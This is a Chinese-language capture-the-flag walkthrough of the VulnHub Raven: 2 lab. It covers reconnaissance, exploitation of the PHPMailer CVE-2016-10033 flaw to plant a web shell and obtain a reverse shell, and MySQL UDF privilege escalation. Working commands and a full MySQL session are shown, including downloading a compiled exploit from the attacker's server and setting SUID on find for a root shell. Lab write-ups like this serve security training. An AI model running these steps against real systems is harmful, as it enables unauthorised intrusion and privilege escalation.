网络知识 娱乐 【VulnHub】Raven: 2 靶机的渗透测试

【VulnHub】Raven: 2 靶机的渗透测试

总结与反思:

1. 使用netdiscover探测内网存活主机

2. PHPMailer的漏洞反弹得到shell

3. Python版的EXP修改

4. 查看wordpress的wp-config.php配置文件得到数据库账号密码

5. MySQL版本 <= 5.7.14 5.6.32 5.5.51 可以利用UDF提权

6. KALI对EXP的编译

7. 给程序chmod u+s 增加suid权限,可以以root权限运行

8. 利用带有suid标志的find命令进行命令执行拿到root shell

靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova

Raven 2是一个中等难度的boot2root 虚拟靶机,在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵。

总共4个flag需要找出!

先将靶机导入并开机.

利用netdiscover对eh0网卡进行探测

netdiscover -i eth0

这里可以通过经验判断192.168.61.135就是靶机的IP地址。

nmap -A 192.168.61.135

通过nmap的信息可以看出这个就是靶机的IP地址

通过上面的信息我们可以看到,靶机开放了22,80,111这3个端口。

我们先看80端口

看到是一个网站,所以我们就先进行目录的爆破,这里我用gobuster

gobuster -u http://192.168.61.135 -w /usr/share/wordlists/dirb/common.txt

这里先看下vendor

这个网站是存在目录遍历的

我打开http://192.168.61.135/vendor/PATH发现了第一个FLAG

除了FLAG还有网站的目录地址

/var/www/html/

把每个文件翻下,大概知道了服务器上安装这PHPMailer

我们通过kali的searchsploit来查找PHPMailer的漏洞

searchsploit phpmailer

但是我们不知道靶机上的PHPMailer的版本是多少,但是VERSION提供的应该就是PHPMailer的版本号

这里我们选用

你可以通过

searchsploit -x exploits/php/webapps/40974.py

查看到EXP的内容

也可以用exploit-db.com进行搜索exp

https://www.exploit-db.com/exploits/40974

通过exploit-db的查询我们知道这个漏洞的编号为CVE-2016-10033

然后我们查下漏洞资料:https://www.anquanke.com/post/id/85295

这个漏洞是因为邮件地址能够包含用引号括起来的空格,这样可以进行攻击参数的注入

我们我们在网站主页上看到的邮件页面地址为:http://192.168.61.135//contact.php

接下来我们把EXP的内容进行下载编辑

修改内容如下:

1. 开头加上

#!/usr/bin/python

# -*- coding: utf-8 -*-

2. 修改target地址为靶机的CONTACT页面地址:http://192.168.61.135/contact.php

修改backdoor为’/sdfz.php’,默认的backdoor.php执行时无法生成(原因可能是如介绍说这个靶机多次被攻击增加了安全性,这类敏感字肯定会被ban)

3. 修改payload的内容

4. 运行后出现如下错误,只要pip install requests-toolbelt即可

5. 然后KALI nc监听下对应的端口

6. 然后我们访问下http://192.168.61.135/contact.php,这样就会执行我们的payload在目录下面生成sdfz.php

7. 然后我们在访问下http://192.168.61.135/sdfz.php

8. 这个时候我们就会得到反弹的shell

我们用python来获取个pty

python -c 'import pty;pty.spawn("/bin/bash")'

然后我们搜索下关键字flag

find / -name "flag*"

发现2个flag

那么现在就剩最后一个FLAG了,应该就在root目录里面。

所以接下来就是提权

我第一反应是用脏牛进行提权

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

下载dirty.c在kali中进行编译

gcc -pthread dirty.c -o dirty -lcrypt

然后kali用python 的SimpleHTTPServer模块开启个HTTP服务

然后在靶机中用wget下载编译好的脏牛文件进行运行。

但是不管我怎么更名并下载脏牛,这个wget都卡在这

脏牛就用不上了

我们上传个LinEnum.sh对LINUX进行信息收集,方便提权使用

项目地址:https://github.com/rebootuser/LinEnum

然后加权运行

然后在运行结果中看到这条,mysql使用root运行的

漏洞信息:

https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

如果MySQL版本 <= 5.7.14,5.6.32,5.5.51

则有MySQL-Exploit-Remote-Root-Code-Execution-Privesc漏洞可以进行提权

我们回到网站根目录ls,可以看到有wordpress(wp)

我们进去查看下wp的配置文件

数据库账号:root

数据库密码:R@v3nSecurity

那么我们登录下mysql查看下mysql版本

这里我们看到Mysql的版本是存在漏洞的

我们从https://www.exploit-db.com/exploits/1518获取EXP

然后我们在KALI上编译生成so文件

wget https://www.exploit-db.com/download/1518mv 1518 raptor_udf.cgcc -g -c raptor_udf.cgcc -g -shared -o raptor_udf.so raptor_udf.o -lcmv raptor_udf.so sdfz_udf.so

然后同样在靶机上用wget下载sdfz_udf.so

cd /tmp

wget http://192.168.61.130:8000/sdfz_udf.so

然后我们进入数据库开始提权

mysql> use mysql;use mysql;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -A Database changedmysql> create table foo(line blob);create table foo(line blob);Query OK, 0 rows affected (0.06 sec) mysql> insert into foo values(load_file('/tmp/sdfz_udf.so'));insert into foo values(load_file('/tmp/sdfz_udf.so'));Query OK, 1 row affected (0.00 sec) mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/sdfz_udf.so';【其中dumpfile的路径要根据前面进程列出来的plugin目录进行改动】select * from foo into dumpfile '/usr/lib/mysql/plugin/sdfz_udf.so';Query OK, 1 row affected (0.04 sec) mysql> create function do_system returns integer soname 'sdfz_udf.so';create function do_system returns integer soname 'sdfz_udf.so';Query OK, 0 rows affected (0.00 sec) mysql> select * from mysql.func;select * from mysql.func;+-----------+-----+-------------+----------+| name | ret | dl | type |+-----------+-----+-------------+----------+| do_system | 2 | sdfz_udf.so | function |+-----------+-----+-------------+----------+1 row in set (0.00 sec) mysql> select do_system('chmod u+s /usr/bin/find');【chmod u+s 表示给某个程序的所有者以suid权限,可以像root用户一样操作】select do_system('chmod u+s /usr/bin/find');+--------------------------------------+| do_system('chmod u+s /usr/bin/find') |+--------------------------------------+| 0 |+--------------------------------------+1 row in set (0.00 sec) mysql> exitexitBye

看下我们当前的权限

然后用find执行命令提权成功

得到flag4